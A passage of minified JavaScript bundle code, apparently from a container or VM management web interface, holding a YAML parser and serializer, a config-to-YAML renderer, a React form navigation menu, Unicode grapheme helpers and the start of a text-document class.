r=i.position;for(;i.input.charCodeAt(i.position)!==0&&!nt(i.input.charCodeAt(i.position));)i.position++;n.push(i.input.slice(r,i.position))}if(ue(i.input.charCodeAt(i.position))&&Lr(i),t==="YAML"){i.directives.some(s=>s.kind==="yaml")&&L(i,"duplication of %YAML directive"),n.length!==1&&L(i,"YAML directive accepts exactly one argument");const r=/^([0-9]+)\.([0-9]+)$/.exec(n[0]);r===null&&L(i,"ill-formed argument of the YAML directive"),parseInt(r[1],10)!==1&&L(i,"unacceptable YAML version of the document"),i.directives.push({kind:"yaml",version:n[0]})}else if(t==="TAG"){n.length!==2&&L(i,"TAG directive accepts exactly two arguments");const[r,s]=n;of.test(r)||L(i,"ill-formed tag handle (first argument) of the TAG directive"),nf.call(i.tagHandlers,r)&&L(i,`there is a previously declared suffix for "${r}" tag handle`),mm.test(s)||L(i,"ill-formed tag prefix (second argument) of the TAG directive"),i.tagHandlers[r]=s,i.directives.push({kind:"tag",handle:r,prefix:s})}return!0}function Rm(i){i.directives=[],i.tagHandlers=Object.create(null);let e=!1;for(we(i,!0);Dm(i);)e=!0,we(i,!0);let t=!1,n=!1,r=!0;if(i.lineIndent===0&&i.input.charCodeAt(i.position)===45&&i.input.charCodeAt(i.position+1)===45&&i.input.charCodeAt(i.position+2)===45&&Tt(i.input.charCodeAt(i.position+3))){t=!0;const l=i.line;i.position+=3,we(i,!0),r=i.line>l}else e&&L(i,"directives end mark is expected");const s=i.events.length;if(!t&&i.position===i.lineStart&&i.input.charCodeAt(i.position)===46&&$i(i)){i.position+=3,we(i,!0);return}if(bm(i,t,!1),Hi(i,i.lineIndent-1,Er,!1,r,r)||Ee(i),we(i,!0),i.position===i.lineStart&&$i(i)&&(n=i.input.charCodeAt(i.position)===46,n)){const l=i.line;i.position+=3,we(i,!0),i.line===l&&i.position<i.length&&L(i,"end of the stream or a document separator is expected")}const o=i.events[s];o?.type===ye.DOCUMENT&&(o.explicitEnd=n),Pi(i),!n&&i.position<i.length&&!Il(i)&&L(i,"end of the stream or a document separator is expected")}function Im(i,e){const t=i.length,n={...Rl,...e,input:`${i}\0`,length:t,position:0,line:0,lineStart:0,lineIndent:0,firstTabInLine:-1,depth:0,directives:[],tagHandlers:Object.create(null),events:[]},r=i.indexOf("\0");for(r!==-1&&Ht.throwAt(i,r,"null byte is not allowed in input",n.filename);n.position<n.length&&(cf(n),we(n,!0),!(n.position>=n.length));){const s=n.position;Rm(n),n.position===s&&L(n,"can not read a document")}return n.events}var Nm={...Rl,...Dl};function Bm(i,e={}){const t={...Nm,...e},n=String(i),r=Object.keys(Rl),s=Object.keys(Dl);return fm(Im(n,ko(t,r)),{...ko(t,s),source:n})}function Fm(i,e){const t=Bm(i,e);if(t.length===0)throw new Ht("expected a document, but the input is empty");if(t.length===1)return t[0];throw new Ht("expected a single document in the stream, but found more")}var ti=Symbol("INVALID");function _m(i){const e=new Set([i.defaultScalarTag,i.defaultSequenceTag,i.defaultMappingTag].filter(s=>s!==void 0)),t=i.implicitScalarTags,n=i.tags.filter(s=>!(s.nodeKind==="scalar"&&s.implicit)&&!e.has(s)),r=i.tags.filter(s=>e.has(s));return[...t.map(s=>({tag:s,implicitTag:!0})),...n.map(s=>({tag:s,implicitTag:!1})),...r.map(s=>({tag:s,implicitTag:!0}))]}function Wm(i,e){for(let t=0,n=i.representTypes.length;t<n;t+=1){const{tag:r,implicitTag:s}=i.representTypes[t];if(r.identify(e)){let o;return r.matchByTagPrefix?o=r.representTagName(e):o=r.tagName,{tag:r,tagName:o,implicitTag:s}}}return null}function fn(i,e){if(!i.noRefs&&e!==null&&typeof e=="object"){const h=i.refs.get(e);if(h)return h.anchor===void 0&&(h.anchor=`ref_${i.refCounter++}`),{kind:"alias",anchor:h.anchor}}const t=Wm(i,e);if(!t){if(e===void 0||i.skipInvalid)return ti;throw new Ht(`unacceptable kind of an object to dump ${Object.prototype.toString.call(e)}`)}const{tag:n,tagName:r,implicitTag:s}=t,o=s?r:Zc(r);if(n.nodeKind==="scalar")return{kind:"scalar",tag:o,tagged:!s,style:R.PLAIN,value:n.represent(e)};if(n.nodeKind==="sequence"){const h=n.represent(e),c={kind:"sequence",tag:o,tagged:!s,style:Ge.BLOCK,items:[]};i.noRefs||i.refs.set(e,c);for(let f=0,u=h.length;f<u;f+=1){let d=fn(i,h[f]);d===ti&&h[f]===void 0&&(d=fn(i,null)),d!==ti&&c.items.push(d)}return c}const l=n.represent(e),a={kind:"mapping",tag:o,tagged:!s,style:Ge.BLOCK,items:[]};i.noRefs||i.refs.set(e,a);for(const[h,c]of l){const f=fn(i,h);if(f===ti)continue;const u=fn(i,c);u!==ti&&a.items.push({key:f,value:u})}return a}function $m(i,e,t={}){const n=fn({representTypes:_m(e),noRefs:t.noRefs??!1,skipInvalid:t.skipInvalid??!1,refs:new Map,refCounter:0},i);return[{contents:n===ti?null:n,directives:[]}]}var Hm=Symbol("visit:break"),uf=Symbol("visit:skip");function xr(i,e,t){const n=e(i,t);if(n===Hm)return!0;if(n===uf)return!1;const r=t.depth+1;switch(i.kind){case"sequence":for(const s of i.items)if(xr(s,e,{depth:r,parent:i,isKey:!1}))return!0;break;case"mapping":for(const{key:s,value:o}of i.items)if(xr(s,e,{depth:r,parent:i,isKey:!0})||xr(o,e,{depth:r,parent:i,isKey:!1}))return!0;break}return!1}function Fa(i,e){for(const t of i)if(t.contents&&xr(t.contents,e,{depth:0,parent:null,isKey:!1}))return}function us(i,e){return(i&1<<e)!==0}var _a={applyQuoteFlowKeysOption:Vm,doubleQuoteForInvisibles:Qm,doubleQuoteWhitespaceOnly:zm,applyForceQuotesOption:qm,tryLongOrMultilineAsBlock:Um,quoteInvalidPlain:Km,fallbackToDoubleQuoted:Xm};function df(i){return i.presenterOptions.quoteStyle==="single"&&us(i.allowedStylesMask,R.SINGLE_QUOTED)?R.SINGLE_QUOTED:R.DOUBLE_QUOTED}function Vm(i){i.presenterOptions.quoteFlowKeys&&(!i.isKey||!i.flowOnly||i.style!==R.PLAIN||(i.style=R.DOUBLE_QUOTED))}function Qm(i){i.style===R.PLAIN&&/[\t\x7F-\xA0\u2028\u2029\uFEFF\uFFFE\uFFFF]/.test(i.node.value)&&(i.style=R.DOUBLE_QUOTED)}function zm(i){i.style===R.PLAIN&&/^\s+$/.test(i.node.value)&&(i.style=R.DOUBLE_QUOTED)}function qm(i){i.presenterOptions.forceQuotes&&(i.isKey||i.style!==R.PLAIN||i.node.tag===i.presenterOptions.schema.defaultScalarTag.tagName&&(i.style=i.node.value.includes(`
`)?R.DOUBLE_QUOTED:df(i)))}function Um(i){if(i.style!==R.PLAIN||i.isKey)return;const e=i.node.value,t=e.indexOf(`
`)!==-1;if(!us(i.allowedStylesMask,R.LITERAL_BLOCK)){t&&(i.style=R.DOUBLE_QUOTED);return}const n=i.presenterOptions.lineWidth;if(n===-1){t&&(i.style=R.LITERAL_BLOCK);return}const r=Math.max(Math.min(n,40),n-i.shiftOfContent);let s=0,o=!1;for(;s<=e.length;){let l=e.length;const a=e.indexOf(`
`,s);a!==-1&&(l=a);const h=e.slice(s,l);if(h.length>r&&h[0]!==" "&&/ [^ \t]/.test(h)&&(o=!0),a===-1)break;s=a+1}o?i.style=R.FOLDED_BLOCK:t&&(i.style=R.LITERAL_BLOCK)}function Km(i){i.style===R.PLAIN&&!us(i.allowedStylesMask,R.PLAIN)&&(i.style=df(i))}function Xm(i){us(i.allowedStylesMask,i.style)||(i.style=R.DOUBLE_QUOTED)}function sn(i,e){return i|1<<e}var jm="[\\x09\\x0A\\x0D\\x20-\\x7E\\x85\\xA0-\\uD7FF\\uE000-\\uFFFD\\u{10000}-\\u{10FFFF}]",Ym="[\\n\\r]",Gm="\\uFEFF",Nl="[ \\t]",pf=`(?:(?!(?:${Ym}|${Gm}))${jm})`,ds=`(?:(?!${Nl})${pf})`,gf="[\\x09\\x20-\\uD7FF\\uE000-\\uFFFF\\u{10000}-\\u{10FFFF}]",mf="[-?:,\\[\\]{}#&*!|>'\"%@`]",Jm="[,\\[\\]{}]",Co=ds,Ao=`(?:(?!${Jm})${ds})`,Zm=`(?:(?:(?!${mf})${ds})|[?:-](?=${Co}))`,e0=`(?:(?:(?!${mf})${ds})|[?:-](?=${Ao}))`,bf=`(?:(?:(?![:#])${Co})|:(?=${Co}))#*`,yf=`(?:(?:(?![:#])${Ao})|:(?=${Ao}))#*`,xf=`(?:${Nl}*${bf})*`,vf=`(?:${Nl}*${yf})*`,Sf=`${Zm}#*${xf}`,kf=`${e0}#*${vf}`,t0=Sf,i0=kf,n0=`\\n+${bf}${xf}`,r0=`\\n+${yf}${vf}`,s0=`${Sf}(?:${n0})*`,o0=`${kf}(?:${r0})*`,l0=new RegExp(`^(?:${s0})$`,"u"),a0=new RegExp(`^(?:${o0})$`,"u"),h0=new RegExp(`^(?:${t0})$`,"u"),c0=new RegExp(`^(?:${i0})$`,"u"),f0=new RegExp(`^(?:${gf})*$`,"u"),u0=new RegExp(`^(?:${gf}|\\n)*$`,"u"),d0=new RegExp(`^(?:${pf}|\\n)*$`,"u"),p0=/^(?:---|\.\.\.)(?=$|[ \t\n\r])/,Bl=/^(?:---|\.\.\.)(?=$|[ \t\n\r])/m;function g0(i){const e=i.node.value;if(e!==""){if(!(i.isKey?i.flowOnly?c0:h0:i.flowOnly?a0:l0).test(e)||i.shiftOfFirstLine===0&&p0.test(e))return!1;if(i.shiftOfContent===0){const n=e.indexOf(`
`);if(n!==-1){const r=e.slice(n+1);if(Bl.test(r))return!1}}}const t=i.presenterOptions.schema.resolveImplicitScalarTag(e).tag.tagName;return!(!i.node.tagged&&t!==i.node.tag||!i.node.tagged&&e==="="&&t===i.presenterOptions.schema.defaultScalarTag.tagName)}function m0(i){const e=i.node.value;if(!(i.isKey?f0:u0).test(e)||/[ \t]\n|\n[ \t]/.test(e))return!1;if(!i.isKey&&i.shiftOfContent===0){const t=e.indexOf(`
`);if(t!==-1&&Bl.test(e.slice(t+1)))return!1}return!0}function b0(i){if(i.flowOnly||!d0.test(i.node.value))return!1;const e=i.shiftOfContent-i.shiftOfParent;return!(e<1||e>9&&/^\n* /.test(i.node.value)||i.shiftOfContent===0&&Bl.test(i.node.value))}function y0(i){let e=sn(0,R.DOUBLE_QUOTED);g0(i)&&(e=sn(e,R.PLAIN)),m0(i)&&(e=sn(e,R.SINGLE_QUOTED)),b0(i)&&(e=sn(sn(e,R.LITERAL_BLOCK),R.FOLDED_BLOCK)),i.allowedStylesMask=e}function x0(i){switch(i.style){case R.PLAIN:return v0(i);case R.SINGLE_QUOTED:return S0(i);case R.LITERAL_BLOCK:return k0(i);case R.FOLDED_BLOCK:return w0(i);case R.DOUBLE_QUOTED:return O0(i)}}function v0(i){return wf(i.node.value,i.shiftOfContent)}function S0(i){return`'${wf(i.node.value,i.shiftOfContent).replace(/'/g,"''")}'`}function k0(i){const e=i.node.value;return"|"+Cf(e,i.shiftOfParent,i.shiftOfContent)+Af(Of(e,i.shiftOfContent))}function w0(i){const e=i.node.value,t=i.presenterOptions.lineWidth;let n=1/0;return t!==-1&&(n=Math.max(Math.min(t,40),t-i.shiftOfContent)),">"+Cf(e,i.shiftOfParent,i.shiftOfContent)+Af(Of(A0(e,n),i.shiftOfContent))}function O0(i){return`"${P0(i.node.value)}"`}function wf(i,e){let t=i.indexOf(`
`);if(t===-1)return i;const n=" ".repeat(e);let r=i.slice(0,t);const s=/(\n+)([^\n]*)/g;s.lastIndex=t;let o;for(;o=s.exec(i);){const l=o[1].length,a=o[2];r+=`
`.repeat(l+1)+n+a}return r}function Of(i,e){const t=" ".repeat(e);let n=0,r="";const s=i.length;for(;n<s;){let o;const l=i.indexOf(`
`,n);l===-1?(o=i.slice(n),n=s):(o=i.slice(n,l+1),n=l+1),o.length&&o!==`
`&&(r+=t),r+=o}return r}function C0(i){return/^\n* /.test(i)}function Cf(i,e,t){const n=C0(i)?String(t-e):"",r=i[i.length-1]===`
`;return`${n}${r&&(i[i.length-2]===`
`||i===`
`)?"+":r?"":"-"}
`}function Af(i){return i[i.length-1]===`
`?i.slice(0,-1):i}function To(i){return i===" "||i==="	"}function Wa(i,e){if(i===""||To(i[0]))return i;const t=/ [^ \t]/g;let n,r=0,s,o=0,l=0,a="";for(;n=t.exec(i);)l=n.index,l-r>e&&(s=o>r?o:l,a+=`
${i.slice(r,s)}`,r=s+1),o=l;return a+=`
`,i.length-r>e&&o>r?a+=`${i.slice(r,o)}
${i.slice(o+1)}`:a+=i.slice(r),a.slice(1)}function A0(i,e){const t=/(\n+)([^\n]*)/g;let n=i.indexOf(`
`);n===-1&&(n=i.length),t.lastIndex=n;let r=Wa(i.slice(0,n),e),s=i[0]===`
`||To(i[0]),o,l;for(;l=t.exec(i);){const a=l[1],h=l[2];o=h!==""&&To(h[0]),r+=a+(!s&&!o&&h!==""?`
`:"")+Wa(h,e),s=o}return r}var T0=/["\\\x00-\x1F\x7F-\xA0\u2028\u2029\uD800-\uDFFF\uFEFF\uFFFE\uFFFF]/gu;function M0(i){switch(i){case"\0":return"\\0";case"\x07":return"\\a";case"\b":return"\\b";case"	":return"\\t";case`
`:return"\\n";case"\v":return"\\v";case"\f":return"\\f";case"\r":return"\\r";case"\x1B":return"\\e";case'"':return'\\"';case"\\":return"\\\\";case"…":return"\\N";case" ":return"\\_";case"\u2028":return"\\L";case"\u2029":return"\\P"}const e=i.charCodeAt(0),t=e.toString(16).toUpperCase();return e<=255?`\\x${"0".repeat(2-t.length)}${t}`:`\\u${"0".repeat(4-t.length)}${t}`}function P0(i){return i.replace(T0,M0)}var Dr=10,Fl={indent:2,seqNoIndent:!1,seqInlineFirst:!0,lineWidth:80,flowBracketPadding:!1,flowSkipCommaSpace:!1,flowSkipColonSpace:!1,quoteFlowKeys:!1,quoteStyle:"single",forceQuotes:!1,scalarStyleRules:Object.keys(_a).map(i=>Reflect.get(_a,i)),tagBeforeAnchor:!1};function E0(i){return i.tagged?i.tag:Zc(i.tag)}function L0(i){const e={...Fl,...i};return e.flowSkipColonSpace&&(e.quoteFlowKeys=!0),{...e,defaultScalarTagName:e.schema.defaultScalarTag.tagName,openEnded:!1}}function Mo(i,e){return`
${" ".repeat(i.indent*e)}`}function D0(i,e,t,n,r,s){return{node:e,parent:t,level:n,isKey:r,flowOnly:s,shiftOfParent:n===0?-1:i.indent*(n-1),shiftOfContent:i.indent*Math.max(1,n),shiftOfFirstLine:n===0?0:i.indent*n,presenterOptions:i,allowedStylesMask:0,style:e.style}}function R0(i,e,t){let n="";for(let s=0,o=t.items.length;s<o;s+=1){const l=Mt(i,e,t.items[s],t,{}).text;s>0&&(n+=`,${i.flowSkipCommaSpace?"":" "}`),n+=l}const r=i.flowBracketPadding&&t.items.length>0?" ":"";return`[${r}${n}${r}]`}function $a(i,e,t,n){let r="";for(let s=0,o=t.items.length;s<o;s+=1){const l=Mt(i,e+1,t.items[s],t,{block:!0,compact:i.seqInlineFirst,isblockseq:!0}).text;(!n||r!=="")&&(r+=Mo(i,e)),l===""||Dr===l.charCodeAt(0)?r+="-":r+="- ",r+=l}return r}function I0(i,e,t){let n="";for(const{key:s,value:o}of t.items){let l="";n!==""&&(l+=`,${i.flowSkipCommaSpace?"":" "}`);const a=Mt(i,e,s,t,{iskey:!0}),h=a.text,c=Mt(i,e,o,t,{}).text,f=i.flowSkipColonSpace||c===""?"":" ",u=s.kind==="scalar"&&a.noBody&&(s.tagged||s.anchor!==void 0),d=s.kind==="alias"||u?" ":"";l+=`${h}${d}:${f}${c}`,n+=l}const r=i.flowBracketPadding&&n!==""?" ":"";return`{${r}${n}${r}}`}function N0(i,e,t,n){let r="";for(let s=0,o=t.items.length;s<o;s+=1){let l="";(!n||r!=="")&&(l+=Mo(i,e));const{key:a,value:h}=t.items[s],c=(a.kind==="mapping"||a.kind==="sequence")&&a.style===Ge.BLOCK&&a.items.length!==0||a.kind==="scalar"&&(a.style===R.LITERAL_BLOCK||a.style===R.FOLDED_BLOCK),f=c?Mt(i,e+1,a,t,{block:!0,compact:!0,isblockseq:!Po(i,a,e+1)}):Mt(i,e+1,a,t,{block:!0,compact:!0,iskey:!0}),u=f.text,d=a.kind==="scalar"&&a.value.indexOf(`
`)!==-1,p=u.length>1024&&/^[\s\S]{1025}/u.test(u),g=c||d||p;g&&(u&&Dr===u.charCodeAt(0)?l+="?":l+="? "),l+=u,g&&(l+=Mo(i,e));const m=Mt(i,e+1,h,t,{block:!0,compact:g,isblockseq:g&&!Po(i,h,e+1)}).text,b=a.kind==="scalar"&&f.noBody&&(a.tagged||a.anchor!==void 0),x=!g&&(a.kind==="alias"||b)?" ":"";m===""||Dr===m.charCodeAt(0)?l+=`${x}:`:l+=`${x}: `,l+=m,r+=l}return r}function Po(i,e,t){return e.kind==="alias"?!0:e.tagged||e.anchor!==void 0||i.indent<2&&t>0}function Mt(i,e,t,n,r){if(t.kind==="alias")return i.openEnded=!1,{text:`*${t.anchor}`,noBody:!1};const{block:s=!1,iskey:o=!1,isblockseq:l=!1}=r;let a=r.compact??!1;const h=t.anchor!==void 0;Po(i,t,e)&&(a=!1);let c,f=t.tagged;const u=s&&(t.kind==="mapping"||t.kind==="sequence")&&t.style===Ge.BLOCK&&t.items.length!==0;if(t.kind==="mapping")u?c=N0(i,e,t,a):c=I0(i,e,t);else if(t.kind==="sequence")u?i.seqNoIndent&&!l&&e>0?c=$a(i,e-1,t,a):c=$a(i,e,t,a):c=R0(i,e,t);else{const g=D0(i,t,n,e,o,!s);y0(g);for(const m of i.scalarStyleRules)m(g);c=x0(g),i.openEnded=(g.style===R.LITERAL_BLOCK||g.style===R.FOLDED_BLOCK)&&(t.value===`
`||t.value.endsWith(`

`)),f=t.tagged||c===""&&g.flowOnly&&n?.kind==="sequence"&&!h||g.style!==R.PLAIN&&t.tag!==i.defaultScalarTagName}(t.kind==="mapping"||t.kind==="sequence")&&!u&&(i.openEnded=!1),u&&a&&e>0&&i.indent>2&&(c=`${" ".repeat(i.indent-2)}${c}`);const d=c==="";let p=c;if(f||h){const g=[],m=f?E0(t):null,b=h?`&${t.anchor}`:null;i.tagBeforeAnchor?(m!==null&&g.push(m),b!==null&&g.push(b)):(b!==null&&g.push(b),m!==null&&g.push(m));const x=c===""||c.charCodeAt(0)===Dr?"":" ";p=`${g.join(" ")}${x}${c}`}return{text:p,noBody:d}}function B0(i){return(i.kind==="sequence"||i.kind==="mapping")&&i.style===Ge.BLOCK&&i.items.length!==0&&!i.tagged&&i.anchor===void 0}function F0(i){let e="";for(const t of i.directives){if(t.kind==="yaml"){e+=`%YAML ${t.version}
`;continue}const{handle:n,prefix:r}=t;e+=`%TAG ${n} ${r}
`}return e}function _0(i,e){const t=L0(e);let n="",r=!1;for(let s=0;s<i.length;s+=1){const o=i[s];t.openEnded=!1;const l=F0(o),a=l!=="",h=o.explicitStart||a||s>0&&!r;if(n+=l,o.contents===null)h&&(n+=`---
`);else if(h){const c=Mt(t,0,o.contents,null,{block:!0,compact:!0}).text,f=c===""?"":a||B0(o.contents)?`
`:" ";n+=`---${f}${c}
`}else n+=Mt(t,0,o.contents,null,{block:!0,compact:!0}).text+`
`;r=o.explicitEnd||t.openEnded,r&&(n+=`...
`)}return n}var W0={...Fl,schema:Xg,skipInvalid:!1,noRefs:!1,flowLevel:-1,sortKeys:!1,transform:()=>{}};function $0(i,e){const t=String(i),n=String(e);return t<n?-1:t>n?1:0}function H0(i,e={}){const t={...W0,...e},n=$m(i,t.schema,{noRefs:t.noRefs,skipInvalid:t.skipInvalid});if(t.flowLevel>=0&&Fa(n,(r,s)=>{if(!(s.depth<t.flowLevel))return(r.kind==="sequence"||r.kind==="mapping")&&(r.style=Ge.FLOW),uf}),t.sortKeys){const r=t.sortKeys===!0?$0:t.sortKeys;Fa(n,s=>{s.kind==="mapping"&&s.items.sort((o,l)=>r(o.key.kind==="scalar"?o.key.value:"",l.key.kind==="scalar"?l.key.value:""))})}return t.transform(n),_0(n,{...ko(t,Object.keys(Fl)),schema:t.schema})}const SO=i=>Fm(i.trim()),Xn=i=>H0(i,{lineWidth:-1}),Ha=(i,e,t,n)=>{for(const r of i){const s=e.find(o=>o.name===r);if(s){if(n){if(s.devices?.[n])return r}else if(s.config?.[t]!==void 0)return r}}return"profile"},kO=(i,e)=>{const t=[...i.profiles||[]].reverse(),n=[],r=["access_entitlements","config","devices","expanded_config","expanded_devices","backups","snapshots","state","etag"],s=Object.fromEntries(Object.entries(i).filter(([c])=>!r.includes(c)));n.push(Xn(s).trim());const o=i.expanded_config||{},l=i.config||{};Object.keys(o).length>0&&(n.push("config:"),Object.entries(o).forEach(([c,f])=>{const u=Object.prototype.hasOwnProperty.call(l,c);let d=Xn({[c]:f}).trimEnd();if(!u){const g=Ha(t,e,c),m=d.split(`
`);m[0]=`${m[0]} # inherited from profile: ${g}`,d=m.join(`
`)}const p=String(f).includes(`
`)?`
`:"";n.push(d.replace(/^/gm,"  ")+p)}));const a=i.expanded_devices||{},h=i.devices||{};return Object.keys(a).length>0&&(n.push("devices:"),Object.entries(a).forEach(([c,f])=>{if(h[c])n.push(`  ${c}:`),Object.entries(f).forEach(([d,p])=>{const g=Xn({[d]:p}).trimEnd(),m=String(p).includes(`
`)?`
`:"";n.push(g.replace(/^/gm,"    ")+m)});else{const d=Ha(t,e,"type",c);n.push(`  ${c}: # inherited from profile: ${d}`),n.push(Xn(f).replace(/^/gm,"    ").trimEnd())}})),n.join(`
`).replace(/\n{3,}/g,`

`).trim()},Tf="Main configuration",V0="Disk",Q0="Network",z0="GPU",q0="Proxy",U0="Other",K0="Resource limits",X0="Security policies",j0="Migration",Y0="Snapshots",G0="Boot",J0="Cloud init",Va="YAML configuration",wO=({isDisabled:i,active:e,setActive:t,hasDiskError:n,hasNetworkError:r,formik:s})=>{const o=Ft.useNotify(),[l,a]=ee.useState(!0),h=zc(Fp),[c,f]=ee.useState(!h);ee.useEffect(()=>{f(!h)},[h]);const u=i?"Please select an image before adding custom configuration":void 0,d={active:e,setActive:g=>{t(g),h&&f(!1)},disableReason:u},p=()=>{qc("form-navigation","p-bottom-controls")};return ee.useEffect(p,[o.notification?.message]),Ft.useListener(window,p,"resize",!0),Q.jsxs("div",{className:Ml("p-side-navigation--accordion form-navigation",{"is-collapsed":h&&!c}),children:[h&&Q.jsx(Ft.Button,{type:"button",appearance:"base",className:"instance-form-menu-toggle","aria-label":c?"Collapse menu":"Open menu","aria-expanded":c?"true":"false",onClick:()=>{f(!c)},children:Q.jsx(Bp,{icon:c?"chevron-left":"chevron-right"})}),(!h||c)&&Q.jsx("nav",{"aria-label":"Instance form navigation",children:Q.jsxs("ul",{className:"p-side-navigation__list",children:[Q.jsx(Ue,{label:Tf,...d,isBold:!0}),Q.jsxs("li",{className:"p-side-navigation__item",children:[Q.jsx(Ft.Button,{type:"button",className:"p-side-navigation__accordion-button","aria-expanded":l?"true":"false",onClick:()=>{i||a(!l)},disabled:i,title:u,children:s.values.devices.length>0?Q.jsx("strong",{children:"Devices"}):"Devices"}),Q.jsxs("ul",{className:"p-side-navigation__list","aria-expanded":l?"true":"false",children:[Q.jsx(Ue,{label:V0,hasError:n,...d,isBold:s.values.devices.some(_p)}),Q.jsx(Ue,{label:Q0,hasError:r,...d,isBold:s.values.devices.some(Wp)}),Q.jsx(Ue,{label:z0,...d,isBold:s.values.devices.some($p)}),Q.jsx(Ue,{label:q0,...d,isBold:s.values.devices.some(Hp)}),Q.jsx(Ue,{label:U0,...d,isBold:s.values.devices.some(Vp)})]})]}),Q.jsx(Ue,{label:K0,...d,isBold:Zt(s,"limits_")}),Q.jsx(Ue,{label:X0,...d,isBold:Zt(s,"security_")}),Q.jsx(Ue,{label:Y0,...d,isBold:Zt(s,"snapshots_")}),Q.jsx(Ue,{label:j0,...d,isBold:Zt(s,"migration_")||Zt(s,"cluster_")}),Q.jsx(Ue,{label:G0,...d,isBold:Zt(s,"boot_")}),Q.jsx(Ue,{label:J0,...d,isBold:Zt(s,"cloud_init_","cloud_init_ssh_keys")})]})})]})};function Rr(){return Rr=Object.assign?Object.assign.bind():function(i){for(var e=1;e<arguments.length;e++){var t=arguments[e];for(var n in t)({}).hasOwnProperty.call(t,n)&&(i[n]=t[n])}return i},Rr.apply(null,arguments)}function Z0(i,e){if(i==null)return{};var t={};for(var n in i)if({}.hasOwnProperty.call(i,n)){if(e.indexOf(n)!==-1)continue;t[n]=i[n]}return t}let Eo=[],Mf=[];(()=>{let i="lc,34,7n,7,7b,19,,,,2,,2,,,20,b,1c,l,g,,2t,7,2,6,2,2,,4,z,,u,r,2j,b,1m,9,9,,o,4,,9,,3,,5,17,3,3b,f,,w,1j,,,,4,8,4,,3,7,a,2,t,,1m,,,,2,4,8,,9,,a,2,q,,2,2,1l,,4,2,4,2,2,3,3,,u,2,3,,b,2,1l,,4,5,,2,4,,k,2,m,6,,,1m,,,2,,4,8,,7,3,a,2,u,,1n,,,,c,,9,,14,,3,,1l,3,5,3,,4,7,2,b,2,t,,1m,,2,,2,,3,,5,2,7,2,b,2,s,2,1l,2,,,2,4,8,,9,,a,2,t,,20,,4,,2,3,,,8,,29,,2,7,c,8,2q,,2,9,b,6,22,2,r,,,,,,1j,e,,5,,2,5,b,,10,9,,2u,4,,6,,2,2,2,p,2,4,3,g,4,d,,2,2,6,,f,,jj,3,qa,3,t,3,t,2,u,2,1s,2,,7,8,,2,b,9,,19,3,3b,2,y,,3a,3,4,2,9,,6,3,63,2,2,,1m,,,7,,,,,2,8,6,a,2,,1c,h,1r,4,1c,7,,,5,,14,9,c,2,w,4,2,2,,3,1k,,,2,3,,,3,1m,8,2,2,48,3,,d,,7,4,,6,,3,2,5i,1m,,5,ek,,5f,x,2da,3,3x,,2o,w,fe,6,2x,2,n9w,4,,a,w,2,28,2,7k,,3,,4,,p,2,5,,47,2,q,i,d,,12,8,p,b,1a,3,1c,,2,4,2,2,13,,1v,6,2,2,2,2,c,,8,,1b,,1f,,,3,2,2,5,2,,,16,2,8,,6m,,2,,4,,fn4,,kh,g,g,g,a6,2,gt,,6a,,45,5,1ae,3,,2,5,4,14,3,4,,4l,2,fx,4,ar,2,49,b,4w,,1i,f,1k,3,1d,4,2,2,1x,3,10,5,,8,1q,,c,2,1g,9,a,4,2,,2n,3,2,,,2,6,,4g,,3,8,l,2,1l,2,,,,,m,,e,7,3,5,5f,8,2,3,,,n,,29,,2,6,,,2,,,2,,2,6j,,2,4,6,2,,2,r,2,2d,8,2,,,2,2y,,,,2,6,,,2t,3,2,4,,5,77,9,,2,6t,,a,2,,,4,,40,4,2,2,4,,w,a,14,6,2,4,8,,9,6,2,3,1a,d,,2,ba,7,,6,,,2a,m,2,7,,2,,2,3e,6,3,,,2,,7,,,20,2,3,,,,9n,2,f0b,5,1n,7,t4,,1r,4,29,,f5k,2,43q,,,3,4,5,8,8,2,7,u,4,44,3,1iz,1j,4,1e,8,,e,,m,5,,f,11s,7,,h,2,7,,2,,5,79,7,c5,4,15s,7,31,7,240,5,gx7k,2o,3k,6o".split(",").map(e=>e?parseInt(e,36):1);for(let e=0,t=0;e<i.length;e++)(e%2?Mf:Eo).push(t=t+i[e])})();function eb(i){if(i<768)return!1;for(let e=0,t=Eo.length;;){let n=e+t>>1;if(i<Eo[n])t=n;else if(i>=Mf[n])e=n+1;else return!0;if(e==t)return!1}}function Qa(i){return i>=127462&&i<=127487}const za=8205;function tb(i,e,t=!0,n=!0){return(t?Pf:ib)(i,e,n)}function Pf(i,e,t){if(e==i.length)return e;e&&Ef(i.charCodeAt(e))&&Lf(i.charCodeAt(e-1))&&e--;let n=Ws(i,e);for(e+=qa(n);e<i.length;){let r=Ws(i,e);if(n==za||r==za||t&&eb(r))e+=qa(r),n=r;else if(Qa(r)){let s=0,o=e-2;for(;o>=0&&Qa(Ws(i,o));)s++,o-=2;if(s%2==0)break;e+=2}else break}return e}function ib(i,e,t){for(;e>0;){let n=Pf(i,e-2,t);if(n<e)return n;e--}return 0}function Ws(i,e){let t=i.charCodeAt(e);if(!Lf(t)||e+1==i.length)return t;let n=i.charCodeAt(e+1);return Ef(n)?(t-55296<<10)+(n-56320)+65536:t}function Ef(i){return i>=56320&&i<57344}function Lf(i){return i>=55296&&i<56320}function qa(i){return i<65536?1:2}class z{lineAt(e){if(e<0||e>this.length)throw new RangeError(`Invalid position ${e} in document of length ${this.length}`);return this.lineInner(e,!1,1,0)}line(e){if(e<1||e>this.lines)throw new RangeError(`Invalid line number ${e} in ${this.lines}-line document`);return this.lineInner(e,!0,1,0)}replace(e,t,n){[e,t]=Vi(this,e,t);let r=[];return this.decompose(0,e,r,2),n.length&&n.decompose(0,n.length,r,3),this.decompose(t,this.length,r,1),dt.from(r,this.length-(t-e)+n.length)}append(e){return this.replace(this.length,this.length,e)}slice(e,t=this.length){[e,t]=Vi(this,e,t);let n=[];return this.decompose(e,t,n,0),dt.from(n,t-e)}eq(e){if(e==this)return!0;if(e.length!=this.length||e.lines!=this.lines)return!1;let t=this.scanIdentical(e,1),n=this.length-this.scanIdentical(e,-1),r=new gn(this),s=new gn(e);for(let o=t,l=t;;){if(r.next(o),s.next(o),o=0,r.lineBreak!=s.lineBreak||r.done!=s.done||r.value!=s.value)return!1;if(l+=r.value.length,r.done||l>=n)return!0}}iter(e=1){return new gn(this,e)}iterRange(e,t=this.length){return new Df(this,e,t)}iterLines(e,t){let n;if(e==null)n=this.iter();else{t==null&&(t=this.lines+1);let r=this.line(e).from;n=this.iterRange(r,Math.max(r,t==this.lines+1?this.length:t<=1?0:this.line(t-1).to))}return new Rf(n)}toString(){return this.sliceString(0)}toJSON(){let e=[];return this.flatten(e),e}constructor(){}static of(e){if(e.length==0)throw new RangeError("A document must have at least one line");return 